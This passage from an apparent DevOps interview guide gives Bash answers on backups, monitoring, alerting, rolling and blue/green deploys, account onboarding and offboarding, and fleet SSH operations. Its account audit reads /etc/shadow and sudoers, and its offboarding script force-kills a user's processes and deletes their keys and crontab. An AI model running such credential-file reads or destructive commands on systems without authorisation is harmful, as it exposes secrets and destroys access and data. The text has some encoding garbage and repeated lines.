local_size=$(stat -c %s "$f") remote_size=$(aws s3api head-object --bucket "$B" --key "$K" --query ContentLength --output text) [[ $local_size == "$remote_size" ]] || die "size mismatch" - Upload a SHA-256 checksum alongside, or use S3's checksum support:
aws s3api put-object --checksum-algorithm SHA256 ...and read it back withhead-object --checksum-mode ENABLED. - During restore tests, download and run
sha256sum -c.
Why โ The CLI already retries and validates parts, but an explicit check gives evidence in logs and catches logic errors such as uploading the wrong file.
Interview tip โ Mention that the ETag equals the MD5 only for single-part, non-KMS uploads, so do not rely on it as a checksum.
Q36 An app writes app-YYYY-MM-DD.log files daily. There is no logrotate. Write the housekeeping.
Beginner
app-YYYY-MM-DD.log files daily. There is no logrotate. Write the housekeeping.Situation read โ Compress yesterday's and older files, delete old compressed files, and never touch today's file.
What I'd do โ
dir=/var/log/app
today="app-$(date +%F).log"
find "$dir" -maxdepth 1 -type f -name 'app-*.log' ! -name "$today" -mmin +60 -exec gzip -9 -- {} +
find "$dir" -maxdepth 1 -type f -name 'app-*.log.gz' -mtime +30 -delete! -name "$today"and-mmin +60protect the active file.- Schedule daily at 00:15 via a timer.
Why โ Date-named files need no rename or signal; compression and deletion by age are enough.
Interview tip โ Mention that logrotate can still do this with dateext patterns, but a two-line find is often clearer.
Q37 Back up every MySQL database separately, skipping system schemas.
Intermediate
Situation read โ Separate dumps allow restoring one database without the others.
What I'd do โ
set -Eeuo pipefail
mapfile -t dbs < <(mysql --defaults-extra-file=/etc/mysql/backup.cnf -NBe 'SHOW DATABASES' |
grep -Ev '^(information_schema|performance_schema|mysql|sys)$')
for db in "${dbs[@]}"; do
mysqldump --defaults-extra-file=/etc/mysql/backup.cnf --single-transaction --routines --triggers -- "$db" |
gzip > "/var/backups/mysql/${db}-$(date -u +%Y%m%dT%H%M%SZ).sql.gz"
done- Credentials in a
0600option file, not on the command line. --single-transactiongives a consistent snapshot for InnoDB without locking tables.-NBgives raw output without headers or boxes.
Why โ Per-database dumps make partial restores fast, and pipefail catches a failing mysqldump.
Interview tip โ Mention that logical dumps are slow for very large databases; physical tools (Percona XtraBackup) or managed snapshots fit better there.
Q38 A backup job sometimes runs twice at the same time and the archives are corrupted. How do you prevent it?
Beginner
Situation read โ A slow run overlaps with the next scheduled one, or someone ran it manually during the scheduled run.
What I'd do โ
- Take an exclusive lock at the top of the script:
exec 9>/run/lock/backup.lock flock -n 9 || { echo "backup already running, skipping" >&2; exit 0; } - Write to unique temp names and
mvinto place, so even an unexpected overlap cannot interleave writes. - If migrating to systemd timers, systemd will not start a service that is already running.
Why โ flock locks are released by the kernel when the process dies, so there are no stale lock files after a crash.
Interview tip โ Explain why PID files are worse: they go stale after kill -9, and PIDs get reused.
Q39 You need to tar a directory that the application writes to constantly. tar keeps exiting with 1. How do you handle it?
Intermediate
tar keeps exiting with 1. How do you handle it?Situation read โ GNU tar exits 1 when a file changed while it was being read; exit 2 is a fatal error. Under set -e, exit 1 aborts the backup.
What I'd do โ
- Treat 1 as a warning, above 1 as failure:
rc=0 tar --warning=no-file-changed -czf "$tmp" -C / srv/app/data || rc=$? (( rc <= 1 )) || die "tar failed with $rc" (( rc == 1 )) && log WARN "files changed during backup" - For consistency, snapshot first: LVM or ZFS snapshot, EBS snapshot, or the application's own backup command (databases must never be backed up by copying live files).
- Or pause writes briefly (maintenance mode) for small datasets.
Why โ A file that changes mid-read may be inconsistent; for logs that is fine, for database files it is corruption.
Interview tip โ Mention snapshots as the real fix for consistency, not tar flags.
Q40 Clean up files older than two days in /tmp/app-cache, owned by app, where filenames may contain spaces and newlines.
Beginner
/tmp/app-cache, owned by app, where filenames may contain spaces and newlines.Situation read โ Let find select and delete; no parsing of names is needed.
What I'd do โ
find /tmp/app-cache -xdev -type f -user app -mtime +2 -print -delete
find /tmp/app-cache -xdev -mindepth 1 -type d -empty -delete-xdevstays on one filesystem;-printlogs what was deleted.-deletehandles any filename because no shell orxargssplitting is involved.- Alternatively, declare it with systemd-tmpfiles:
d /tmp/app-cache 0750 app app 2din/etc/tmpfiles.d/app.conf.
Why โ The safest way to handle weird filenames is to never turn them into text.
Interview tip โ Mention systemd-tmpfiles; many teams forget it exists and write cron jobs instead.
Scenarios: health checks, monitoring and alerts
๐ฅ Learn this hands-on with DevOps Shack โ YouTube @devopsshack ยท Hindi @shackverse ยท Courses at devopsshack.com
Q41 You are asked for a host health-check script covering disk, memory, systemd services and an HTTP endpoint. How do you design it?
Intermediate
Situation read โ It must be fast, never hang, report every check (not stop at the first failure), and return a machine-readable result.
What I'd do โ
- One function per check, each calling
record STATUS CHECK TARGET DETAILthat appends to an array and tracks the worst status. - Disk from
df -P -x tmpfs -x devtmpfs, memory fromMemAvailablein/proc/meminfo, services withsystemctl is-active, HTTP withcurl -sS -o /dev/null --max-time 5 -w '%{http_code}'. - Warning and critical thresholds from a config file, overridable by environment.
- Exit with Nagios-style codes (0 OK, 1 WARNING, 2 CRITICAL, 3 UNKNOWN), so monitoring systems and systemd can consume it.
- Do not use
set -eto abort on the first failed check; capture each result instead. - Alert per failing check with a dedupe key, and send a "resolved" when it recovers.
Why โ A health check that dies on the first problem hides the second one, and one that hangs is worse than none.
Interview tip โ The hands-on lab builds exactly this, with tests. Walk through its exit codes.
Q42 Your disk alert fires and clears every few minutes around 80%, spamming Slack. How do you fix the alerting?
Advanced
Situation read โ The value oscillates around a single threshold and every check sends a message: no deduplication, no hysteresis.
What I'd do โ
- Deduplicate: store a state file per alert key (
alerts/disk-var) with the time it fired; suppress repeats within a cooldown (for example, 1 hour). - Hysteresis: fire at 85%, clear only below 80%.
firing=$([[ -e $state ]] && echo 1 || echo 0) if (( pct >= 85 )) || (( firing && pct >= 80 )); then alert; elif (( firing )); then resolve; fi - Duration: require N consecutive bad checks before alerting (keep a counter in the state file).
- Send resolved messages so people know when to stop looking.
- Separate warning (ticket or channel) from critical (page).
Why โ Alert fatigue makes people mute channels, and then the real alert is missed.
Interview tip โ Use the word "hysteresis". It is what Prometheus for: clauses and Alertmanager grouping solve in larger setups.
Q43 A server reports No space left on device but df -h shows 40% free. What would you add to the health checks?
Beginner
No space left on device but df -h shows 40% free. What would you add to the health checks?Situation read โ The filesystem has run out of inodes, usually from millions of tiny files (sessions, cache, mail queue).
What I'd do โ
- Confirm:
df -i. - Find the directory:
find / -xdev -type d -size +1M 2>/dev/null(huge directories) or count files per directory withdu --inodes -x -d 2 / | sort -n | tail. - Add an inode check next to the disk check:
df -Pi -x tmpfs -x devtmpfs | awk -v t=90 'NR > 1 && $5 != "-" {sub(/%/, "", $5); if ($5+0 >= t) print $6, $5"%"}' - Fix the source: session cleanup, cache TTLs, tmpfiles rules.
Why โ Inode exhaustion fails writes exactly like a full disk but is invisible to df -h.
Interview tip โ Mention XFS allocates inodes dynamically while ext4 fixes the count at mkfs time, which is why this hits ext4 more.
Q44 Alert when any certificate under /etc/letsencrypt/live expires within 21 days.
Intermediate
/etc/letsencrypt/live expires within 21 days.Situation read โ openssl x509 -checkend does the date math and returns a clean exit code.
What I'd do โ
rc=0
for cert in /etc/letsencrypt/live/*/fullchain.pem; do
[[ -e $cert ]] || continue
if ! openssl x509 -checkend $((21 * 86400)) -noout -in "$cert" >/dev/null; then
end=$(openssl x509 -enddate -noout -in "$cert" | cut -d= -f2)
echo "CRIT ${cert%/fullchain.pem}: expires $end"
rc=2
fi
done
exit "$rc"-checkend Nexits 1 if the cert expires within N seconds.- Also check what the server actually serves (
openssl s_client -connect host:443 -servername host), since a renewed file is useless if nginx was never reloaded.
Why โ Expired certificates cause total outages and are 100% predictable.
Interview tip โ Mention checking the served certificate, not only the file; renewal without reload is a common miss.
Q45 A developer wrote a Bash loop that restarts the app whenever its process disappears. What do you suggest instead?
Intermediate
Situation read โ A watchdog loop is a fragile supervisor: it can die itself, misses fast crash loops, and has no backoff or logging.
What I'd do โ
- Run the app as a systemd service with restart policy:
[Service] ExecStart=/srv/app/current/bin/server Restart=on-failure RestartSec=5 StartLimitIntervalSec=300 StartLimitBurst=5 - Add
WatchdogSec=if the app can sendsd_notifyheartbeats, which catches hangs, not just exits. - Alert via
OnFailure=when the start limit is hit. - In Kubernetes, the equivalent is liveness probes and the restart policy.
Why โ The init system already supervises processes reliably, with logging and rate limiting.
Interview tip โ Say "don't write a supervisor in Bash" and name the systemd directives.
Q46 You suspect a memory leak in a service. How do you collect evidence with a script before involving developers?
Advanced
Situation read โ You need a time series of the process's memory to show a monotonic increase, plus restarts.
What I'd do โ
- Sample every minute from a timer, appending CSV:
pid=$(systemctl show -p MainPID --value app) rss=$(awk '/^VmRSS:/ {print $2}' "/proc/$pid/status") cg=$(cat "/sys/fs/cgroup/system.slice/app.service/memory.current") printf '%s,%s,%s,%s\n' "$(date -u +%FT%TZ)" "$pid" "$rss" "$cg" >> /var/lib/memwatch/app.csv - Track the cgroup's
memory.currenttoo: it includes child processes and page cache charged to the service. - Summarize growth per hour with
awk, and correlate with PID changes (restarts) and deploy times. - Alert if growth exceeds a slope (for example 50 MB per hour sustained for 6 hours).
Why โ A graph of steady growth across restarts is the evidence developers need; a single free -m snapshot is not.
Interview tip โ Mention that MemoryMax= in the unit turns a leak into a contained restart instead of a host OOM.
Q47 How do you know a scheduled job actually ran, not just that it did not report failure?
Intermediate
Situation read โ Failure alerts do not fire if the job never starts (timer disabled, host down, cron syntax error).
What I'd do โ
- Add a dead man's switch: the job pings a heartbeat URL on success (Healthchecks.io, Cronitor, or an internal endpoint), and the monitor alerts when pings stop:
trap 'curl -fsS -m 10 --retry 3 "$HEARTBEAT_URL/fail" >/dev/null || true' ERR ... curl -fsS -m 10 --retry 3 "$HEARTBEAT_URL" >/dev/null || true - Or check freshness of the job's output: newest backup in S3 younger than 26 hours.
- Export a "last success" timestamp metric (node_exporter textfile collector) and alert on
time() - last_success > 90000.
Why โ Monitoring absence of success catches every failure mode, including ones you did not think of.
Interview tip โ Say "alert on missing success, not only on reported failure".
Q48 An endpoint returns HTTP 200 even when the app is degraded; the JSON body has "status": "degraded". How do you check it in a script?
Beginner
"status": "degraded". How do you check it in a script?Situation read โ The status code is not enough; parse the body.
What I'd do โ
body=$(curl -fsS --max-time 5 http://127.0.0.1:8080/health) || { echo "CRIT unreachable"; exit 2; }
status=$(jq -r '.status // "unknown"' <<<"$body")
case $status in
ok) echo "OK"; exit 0 ;;
degraded) echo "WARN degraded: $(jq -c '.checks' <<<"$body")"; exit 1 ;;
*) echo "CRIT status=$status"; exit 2 ;;
esaccurl -fturns HTTP 4xx and 5xx into a non-zero exit.- The
// "unknown"default handles a missing field.
Why โ Health semantics live in the body for many apps; ignoring it gives false greens.
Interview tip โ Mention timeouts on every probe; a hanging health check blocks the next one.
Q49 You need to alert if "Out of memory" appears more than 50 times in 5 minutes in an app log, without a logging stack. How?
Intermediate
Situation read โ Count matches in a time window. Using the journal or a byte offset avoids rescanning the whole file.
What I'd do โ
- If the app logs to journald:
n=$(journalctl -u app --since '5 min ago' --no-pager -o cat | grep -c 'Out of memory' || true) (( n > 50 )) && opskit-alert -s critical -k app-oom -t "app OOM errors" "$n in 5 minutes" - For a file, remember the last byte offset in a state file and read only new data with
tail -c +$((offset + 1)), resetting if the file shrank (rotation). - Run it every 5 minutes from a timer.
Why โ Windowed counts give rate-based alerts without Loki or Elasticsearch.
Interview tip โ Mention handling rotation (file shrank or inode changed), which is where homemade log watchers break.
Q50 Security wants an alert if a server listens on any port not in an approved list. Write it.
Intermediate
Situation read โ Compare the current listening sockets against an allow-list.
What I'd do โ
allowed=(22 80 443 9100)
mapfile -t listening < <(ss -Htlnu | awk '{print $5}' | sed -E 's/.*:([0-9]+)$/\1/' | sort -un)
unexpected=$(comm -13 <(printf '%s\n' "${allowed[@]}" | sort -u) <(printf '%s\n' "${listening[@]}"))
if [[ -n $unexpected ]]; then
echo "CRIT unexpected listening ports: $(paste -sd, <<<"$unexpected")"
ss -Htlnup | grep -E ":($(paste -sd'|' <<<"$unexpected"))\b"
exit 2
fiss -Hdrops the header,-p(as root) shows the owning process for the report.comm -13prints lines only in the second (current) list.
Why โ An unexpected listener is either drift or compromise; both deserve attention.
Interview tip โ Mention that comm needs both inputs sorted the same way.
Q51 Alert when any systemd unit on a host is in a failed state.
Beginner
Situation read โ systemd already tracks failed units; just query it.
What I'd do โ
mapfile -t failed < <(systemctl list-units --state=failed --no-legend --plain | awk '{print $1}')
if (( ${#failed[@]} )); then
echo "CRIT failed units: ${failed[*]}"
for u in "${failed[@]}"; do journalctl -u "$u" -n 5 --no-pager; done
exit 2
fi
echo "OK no failed units"systemctl is-system-runningreturnsdegradedwhen any unit failed, a quick one-word check.- After fixing,
systemctl reset-failedclears the state.
Why โ Failed oneshot units (backups, cert renewals) are easy to miss because nothing restarts them.
Interview tip โ Mention systemctl is-system-running for a single status word.
Q52 How do you check load average sensibly in a script?
Beginner
Situation read โ A load of 8 is idle on a 32-core box and overloaded on a 2-core box; compare to CPU count.
What I'd do โ
read -r l1 l5 _ < /proc/loadavg
cores=$(nproc)
awk -v l="$l5" -v c="$cores" 'BEGIN {r = l / c; printf "load5 per core: %.2f\n", r; exit !(r > 1.5)}' &&
echo "WARN sustained load above 1.5 per core"- Use the 5-minute average to ignore short spikes.
- Remember Linux load includes processes in uninterruptible I/O wait (
Dstate), so high load with idle CPU points to storage or NFS.
Why โ Normalizing per core makes one threshold work across instance sizes.
Interview tip โ Mention the D-state nuance; it shows you understand what load actually measures on Linux.
Q53 The health-check script itself started hanging, and cron has 30 copies running. What happened and how do you harden it?
Advanced
Situation read โ A check blocked forever, most likely df or stat on a hung NFS mount, or a curl without a timeout, and cron kept starting new copies.
What I'd do โ
- Find what blocks:
ps -eo pid,stat,wchan:30,cmd | grep -E 'health|df'(stateDonnfspoints at the mount). - Bound every external call:
timeout 10 df -P,curl --max-time 5,ssh -o ConnectTimeout=5. - Skip network filesystems in disk checks (
df -lor-x nfs -x nfs4 -x cifs) and check them separately with a timeout. - Add a single-instance lock (
flock -n) and an overalltimeoutin the scheduler (TimeoutStartSec=in systemd). - Report a hung check as UNKNOWN or CRITICAL instead of hanging.
Why โ A monitoring script that hangs both hides problems and adds load during an incident.
Interview tip โ Say "every external call gets a timeout" as a rule you always follow.
Q54 You want your script's results on Grafana dashboards without running a new service. How?
Advanced
Situation read โ If node_exporter runs on the host, its textfile collector exposes metrics from .prom files.
What I'd do โ
dir=/var/lib/node_exporter/textfile_collector
tmp=$(mktemp "$dir/.backup.prom.XXXXXX")
cat > "$tmp" <<EOF
# HELP opskit_backup_last_success_timestamp_seconds Last successful backup.
# TYPE opskit_backup_last_success_timestamp_seconds gauge
opskit_backup_last_success_timestamp_seconds $(date +%s)
# HELP opskit_backup_size_bytes Size of the last backup.
# TYPE opskit_backup_size_bytes gauge
opskit_backup_size_bytes $size
EOF
chmod 0644 "$tmp"
mv -f -- "$tmp" "$dir/opskit_backup.prom"- Start node_exporter with
--collector.textfile.directory=/var/lib/node_exporter/textfile_collector. - Write atomically (temp file +
mv) so the exporter never reads half a file. - Alert in Prometheus:
time() - opskit_backup_last_success_timestamp_seconds > 93600.
Why โ You reuse existing scraping, dashboards and alerting with a few lines of shell.
Interview tip โ Mention the atomic write; partially written .prom files cause scrape errors.
Q55 Alerts must go to Slack for warnings, and to PagerDuty plus Slack for critical. How do you structure that in shell?
Intermediate
Situation read โ Keep routing in one alert script; checks only state severity.
What I'd do โ
- A single
alertcommand taking-s severity -t title -k key message. - Route by severity:
case $severity in critical) send_slack; send_pagerduty ;; warning) send_slack ;; info) log only ;; esac - PagerDuty Events API v2 with a
dedup_keyequal to the alert key, so repeats update one incident and"event_action": "resolve"closes it. - Build every payload with
jq -n --arg, usecurl --max-time 10 --retry 3, and log delivery failures without failing the check.
Why โ Central routing means changing escalation policy is one edit, not fifty.
Interview tip โ Mention using the same key for dedupe in your state file and in PagerDuty's dedup_key.
Q56 Write a check for Postgres replication lag on a replica.
Intermediate
Situation read โ On a replica, compare now with the last replayed transaction timestamp.
What I'd do โ
lag=$(psql -XtAc "select coalesce(extract(epoch from now() - pg_last_xact_replay_timestamp()), 0)::int" 2>/dev/null) ||
{ echo "CRIT cannot query replica"; exit 2; }
if (( lag > 300 )); then echo "CRIT replication lag ${lag}s"; exit 2
elif (( lag > 60 )); then echo "WARN replication lag ${lag}s"; exit 1
else echo "OK lag ${lag}s"; fi-Xignores~/.psqlrc,-tAgives a bare value.- On a quiet primary, replay timestamps stop advancing even with zero lag; compare
pg_last_wal_receive_lsn()andpg_last_wal_replay_lsn()too, or write a heartbeat row on the primary every minute.
Why โ Reads from a lagging replica return stale data, which breaks business logic silently.
Interview tip โ Mention the idle-primary false positive; it shows you have run this in production.
Q57 Monitoring shows hundreds of zombie processes on a host. How do you detect and report them in a script?
Beginner
Situation read โ Zombies (Z state) are finished children whose parent has not called wait(). They use no CPU or memory, only PID slots, but they point to a buggy parent.
What I'd do โ
ps -eo stat=,ppid= | awk '$1 ~ /^Z/ {z[$2]++} END {for (p in z) print p, z[p]}' |
while read -r ppid count; do
echo "WARN $count zombies under ppid $ppid ($(ps -o comm= -p "$ppid"))"
done- You cannot kill a zombie; fix or restart the parent, after which init reaps them.
- In containers, add an init (
docker run --init,tini) when the main process does not reap children.
Why โ Reporting the parent tells you what to fix; counting zombies alone does not.
Interview tip โ Say "kill the parent, not the zombie".
Q58 Write a quick check that a host's clock is synchronized.
Beginner
Situation read โ Clock skew breaks TLS, Kerberos, distributed locks, log correlation and AWS request signing (RequestTimeTooSkewed).
What I'd do โ
synced=$(timedatectl show -p NTPSynchronized --value)
[[ $synced == yes ]] || { echo "CRIT clock not NTP-synchronized"; exit 2; }
if command -v chronyc >/dev/null; then
offset=$(chronyc tracking | awk '/^System time/ {print $4}')
awk -v o="$offset" 'BEGIN {exit !(o > 0.5)}' && { echo "WARN offset ${offset}s"; exit 1; }
fi
echo "OK clock synchronized"Why โ Time problems produce confusing errors far from the root cause.
Interview tip โ Mention AWS's RequestTimeTooSkewed error as a real-world symptom.
Q59 Instead of alerting at 90% disk, management wants a warning when /var will fill within 24 hours. How do you do it in shell?
Advanced
/var will fill within 24 hours. How do you do it in shell?Situation read โ You need samples over time and a growth rate; a single reading cannot predict anything.
What I'd do โ
- Every 10 minutes, append
epoch,used_bytes,size_bytesfor/varto a state file, keeping the last 12 hours. - Compute a linear trend with
awk(least squares over the window) and the time to full:awk -F, '{n++; sx+=$1; sy+=$2; sxy+=$1*$2; sxx+=$1*$1; size=$3; last=$2} END {d = n*sxx - sx*sx; if (n < 6 || d == 0) exit 3 slope = (n*sxy - sx*sy) / d if (slope <= 0) {print "OK not growing"; exit 0} hours = (size - last) / slope / 3600 printf "%s full in %.1f hours\n", (hours < 24 ? "CRIT" : "OK"), hours exit (hours < 24 ? 2 : 0)}' /var/lib/diskwatch/var.csv - Require enough samples and ignore negative slopes (cleanups).
Why โ Predictive alerts give hours of warning, while a static threshold may fire at 3 AM with minutes left.
Interview tip โ Mention that Prometheus does this natively with predict_linear(node_filesystem_avail_bytes[6h], 24*3600) < 0.
Q60 A dashboard reads a JSON status file that your script writes every minute. Sometimes the dashboard shows parse errors. Fix it.
Intermediate
Situation read โ The dashboard reads the file while the script is in the middle of writing it.
What I'd do โ
out=/var/lib/opskit/status.json
tmp=$(mktemp "${out}.XXXXXX")
jq -n --arg host "$(hostname -s)" --argjson disk "$disk_pct" --arg ts "$(date -u +%FT%TZ)" \
'{host: $host, disk_pct: $disk, updated: $ts}' > "$tmp"
chmod 0644 "$tmp"
mv -f -- "$tmp" "$out"- Write to a temp file in the same directory, then rename.
- Build JSON with
jqso it is always valid.
Why โ Rename is atomic on the same filesystem; readers see the old or new file, never a partial one.
Interview tip โ Explain that mktemp creates files with mode 0600, so set permissions before the mv if others must read it.
Scenarios: deployments, user management and fleet operations
๐ฅ Learn this hands-on with DevOps Shack โ YouTube @devopsshack ยท Hindi @shackverse ยท Courses at devopsshack.com
Q61 Write the core of a deploy script with release directories, an atomic symlink switch and rollback.
Intermediate
Situation read โ The "Capistrano layout" gives zero-downtime switching and instant rollback.
What I'd do โ
base=/srv/app; release=$(date -u +%Y%m%dT%H%M%SZ); dir="$base/releases/$release"
mkdir -p "$dir"
tar -xzf "/tmp/app-$version.tgz" -C "$dir"
ln -sfn "$base/shared/.env" "$dir/.env"
previous=$(readlink -f "$base/current" || true)
ln -sfn "$dir" "$base/current.tmp" && mv -T "$base/current.tmp" "$base/current" # atomic switch
sudo systemctl reload app
if ! wait_for_http http://127.0.0.1:8080/readyz 60; then
echo "health check failed, rolling back to $previous" >&2
ln -sfn "$previous" "$base/current.tmp" && mv -T "$base/current.tmp" "$base/current"
sudo systemctl reload app
exit 1
filn -sfnalone unlinks then creates;mv -Tof a temp link is a true atomicrename().- Keep the last N releases for rollback (see the cleanup in Q26).
Why โ All preparation happens off to the side; the only live change is one rename.
Interview tip โ Explain why mv -T matters: without it, mv would move the link into the existing current directory.
Q62 Deploy to 10 servers behind an AWS ALB one at a time, removing each from the target group during its deploy. Outline the script.
Advanced
Situation read โ Rolling deploy with traffic draining: deregister, wait for draining, deploy, health check, register, wait until healthy, next.
What I'd do โ
for id in "${instance_ids[@]}"; do
aws elbv2 deregister-targets --target-group-arn "$TG" --targets "Id=$id"
aws elbv2 wait target-deregistered --target-group-arn "$TG" --targets "Id=$id"
ip=$(aws ec2 describe-instances --instance-ids "$id" --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
ssh -o BatchMode=yes "deploy@$ip" "sudo /opt/deploy/deploy.sh $(printf '%q' "$version")" ||
{ echo "deploy failed on $id, stopping rollout" >&2; exit 1; }
aws elbv2 register-targets --target-group-arn "$TG" --targets "Id=$id"
aws elbv2 wait target-in-service --target-group-arn "$TG" --targets "Id=$id" ||
{ echo "$id never became healthy, stopping rollout" >&2; exit 1; }
done- The built-in
waitcommands poll with sensible timeouts. - Stop on the first failure; leave the failed instance out of the target group for investigation.
- Check capacity first: with 10 instances, losing one at a time must not overload the rest.
Why โ Draining avoids dropped requests; stopping early limits the blast radius.
Interview tip โ Mention the target group's deregistration delay (default 300 s) and tuning it for faster rollouts.
Q63 After a deploy, the health check fails intermittently. Your script must roll back automatically, but only if the failure persists. How?
Intermediate
Situation read โ A single failed probe during warm-up should not trigger rollback; sustained failure should.
What I'd do โ
ok=0 fail=0
for _ in $(seq 1 30); do
if curl -fsS -o /dev/null --max-time 3 http://127.0.0.1:8080/readyz; then
ok=$((ok + 1)); fail=0
(( ok >= 5 )) && { echo "healthy"; exit 0; }
else
fail=$((fail + 1)); ok=0
(( fail >= 5 )) && break
fi
sleep 2
done
rollback "$previous"; exit 1- Require 5 consecutive successes to pass and 5 consecutive failures to fail, within an overall deadline.
Why โ Consecutive-count thresholds smooth out warm-up noise while still failing fast on real breakage.
Interview tip โ Mention this mirrors Kubernetes successThreshold/failureThreshold and ALB healthy/unhealthy thresholds.
Q64 Implement a blue/green switch on a single nginx host with a script.
Advanced
Situation read โ Two app instances (blue on 8081, green on 8082); nginx points at one through an include file.
What I'd do โ
active=$(grep -oE '808[12]' /etc/nginx/conf.d/upstream-active.conf)
target=$([[ $active == 8081 ]] && echo 8082 || echo 8081)
deploy_to_port "$target"
wait_for_http "http://127.0.0.1:$target/readyz" 60 || die "new color unhealthy; live traffic untouched"
tmp=$(mktemp /etc/nginx/conf.d/.upstream.XXXXXX)
printf 'upstream app { server 127.0.0.1:%s; }\n' "$target" > "$tmp"
chmod 0644 "$tmp"
mv -f -- "$tmp" /etc/nginx/conf.d/upstream-active.conf
nginx -t && systemctl reload nginx || { echo "nginx config invalid" >&2; exit 1; }
echo "switched $active -> $target; rollback = rerun with previous color"- The idle color is deployed and tested before any traffic moves.
nginx reloadswaps workers gracefully; existing connections finish on old workers.
Why โ Rollback is just pointing back at the old color, which is still running.
Interview tip โ Mention database migrations: they must be backward compatible so both colors can run against the same schema.
Q65 Onboard 30 engineers: create accounts and install their SSH keys from their GitHub usernames, idempotently.
Intermediate
Situation read โ GitHub publishes public keys at https://github.com/<user>.keys. The script must be safe to rerun.
What I'd do โ
while IFS=, read -r user gh_user; do
[[ $user =~ ^[a-z_][a-z0-9_-]{0,31}$ ]] || { echo "skip invalid $user" >&2; continue; }
id -u "$user" &>/dev/null || useradd --create-home --shell /bin/bash --groups developers "$user"
install -d -m 0700 -o "$user" -g "$user" "/home/$user/.ssh"
keys=$(curl -fsS --max-time 10 "https://github.com/${gh_user}.keys") || { echo "no keys for $gh_user" >&2; continue; }
[[ -n $keys ]] || continue
tmp=$(mktemp); printf '%s\n' "$keys" > "$tmp"
install -m 0600 -o "$user" -g "$user" "$tmp" "/home/$user/.ssh/authorized_keys"; rm -f "$tmp"
done < <(tail -n +2 engineers.csv)id -ucheck makesuseraddidempotent;installsets owner and mode atomically.- Validate usernames before using them in paths.
Why โ Rerunnable scripts let you fix one bad row and rerun without side effects.
Interview tip โ Mention that at scale this belongs in config management (Ansible user and authorized_key modules) or SSO with short-lived certificates.
Q66 An engineer leaves the company. Write the offboarding steps for Linux servers.
Intermediate
Situation read โ Revoke access immediately, preserve data for handover, and keep an audit trail.
What I'd do โ
user=$1
id "$user" &>/dev/null || die "no such user $user"
usermod --lock --expiredate 1 --shell /usr/sbin/nologin "$user" # no password, no login
pkill -KILL -u "$user" || true # end sessions and processes
rm -f "/home/$user/.ssh/authorized_keys"
rm -f "/etc/sudoers.d/$user"
crontab -r -u "$user" 2>/dev/null || true
tar -czf "/var/backups/offboard/${user}-$(date +%F).tar.gz" -C /home "$user"
logger -t offboard "offboarded $user by ${SUDO_USER:-root}"- Lock first, delete later (
userdel -rafter the retention period), so file ownership stays readable. - Also revoke central access: IAM, SSO, VPN, Git hosting, CI secrets the person could read.
Why โ Locking keeps UIDs stable for audit and data handover while removing access instantly.
Interview tip โ Mention that SSH keys bypass a locked password, which is why removing authorized_keys matters.
Q67 You are asked to audit a server for risky accounts. What does your script check?
Intermediate
Situation read โ Look for privilege, missing passwords, passwordless sudo and stray keys.
What I'd do โ
awk -F: '$3 == 0 && $1 != "root" {print "UID 0 account:", $1}' /etc/passwd
awk -F: '$2 == "" {print "empty password:", $1}' /etc/shadow
grep -rhE '^[^#].*NOPASSWD' /etc/sudoers /etc/sudoers.d/ 2>/dev/null
awk -F: '$3 >= 1000 && $7 !~ /(nologin|false)$/ {print $1}' /etc/passwd | while read -r u; do
f="/home/$u/.ssh/authorized_keys"; [[ -s $f ]] && echo "$u: $(grep -c . "$f") key(s)"
done
lastlog -b 90 | awk 'NR > 1 && $0 !~ /Never logged in/ {print "inactive 90d+:", $1}'Why โ These are the usual paths to unauthorized root: extra UID 0 accounts, blank passwords and unrestricted sudo.
Interview tip โ Mention running audits as code (CIS benchmarks via Lynis or OpenSCAP) rather than only ad-hoc scripts.
Q68 You must rotate the SSH key used by automation across 200 servers without locking yourself out. How?
Advanced
Situation read โ Add before remove, verify before cleanup, and do it in batches.
What I'd do โ
- Generate the new key:
ssh-keygen -t ed25519 -f ~/.ssh/automation_2026 -C automation-2026 -N ''. - Phase 1, add: append the new public key on every host (idempotent
grep -qxF || echo >>), using the old key. - Phase 2, verify:
ssh -i ~/.ssh/automation_2026 -o BatchMode=yes -o IdentitiesOnly=yes host trueon every host; collect failures and fix them. - Switch all automation (CI secrets, Ansible config) to the new key; run for a day.
- Phase 3, remove: delete the old key line with
sed -i "\|$(cut -d' ' -f2 old.pub)|d" ~/.ssh/authorized_keysusing the new key, again verifying access after. - Run each phase with
xargs -P 20and a log per host.
Why โ At every point at least one working key exists, so a failure never strands a host.
Interview tip โ Mention SSH certificates (a CA with short-lived certs) as the long-term fix that removes key rotation work.
Q69 Run a command on 200 hosts in parallel and produce a summary of which succeeded and failed.
Intermediate
Situation read โ Bound concurrency, add timeouts, capture per-host output and exit codes.
What I'd do โ
out=$(mktemp -d)
run_one() {
local h=$1
if timeout 60 ssh -n -o BatchMode=yes -o ConnectTimeout=5 "$h" 'sudo systemctl is-active app' > "$out/$h.log" 2>&1
then echo "$h OK"; else echo "$h FAIL($?)"; fi
}
export -f run_one; export out
xargs -a hosts.txt -P 20 -I{} bash -c 'run_one "$1"' _ {} | sort > "$out/summary.txt"
grep -c ' OK' "$out/summary.txt"; grep FAIL "$out/summary.txt" || true-P 20limits parallel SSH sessions;-nstops SSH from reading stdin.- Pass the host as an argument (
_ {}), never into the command string.
Why โ You get a reproducible summary and per-host logs for the failures, without hammering the network.
Interview tip โ Mention Ansible ad-hoc (ansible all -m shell -a ... -f 20) or pssh as ready-made alternatives.
Q70 Push an updated nginx config to a fleet, but only reload hosts where the file changed and the config validates.
Intermediate
Situation read โ Reloading unchanged hosts is noise; reloading with an invalid config takes the site down.
What I'd do โ
for h in "${hosts[@]}"; do
remote_sum=$(ssh -n "$h" 'sha256sum /etc/nginx/conf.d/app.conf 2>/dev/null | cut -d" " -f1')
local_sum=$(sha256sum app.conf | cut -d' ' -f1)
[[ $remote_sum == "$local_sum" ]] && { echo "$h unchanged"; continue; }
scp -q app.conf "$h:/tmp/app.conf.new"
ssh -n "$h" 'sudo cp -a /etc/nginx/conf.d/app.conf /etc/nginx/conf.d/app.conf.bak 2>/dev/null;
sudo install -m 0644 /tmp/app.conf.new /etc/nginx/conf.d/app.conf &&
sudo nginx -t && sudo systemctl reload nginx ||
{ sudo mv /etc/nginx/conf.d/app.conf.bak /etc/nginx/conf.d/app.conf; exit 1; }' ||
{ echo "$h FAILED, restored previous config" >&2; exit 1; }
doneWhy โ Checksums make the operation idempotent; validation plus restore makes it safe.
Interview tip โ Mention that this is what Ansible's template + validate: + handler notify gives you for free.
Q71 In CI, after building image api:1.4.2, a script must update the tag in a GitOps repo and open a PR. How?
Intermediate
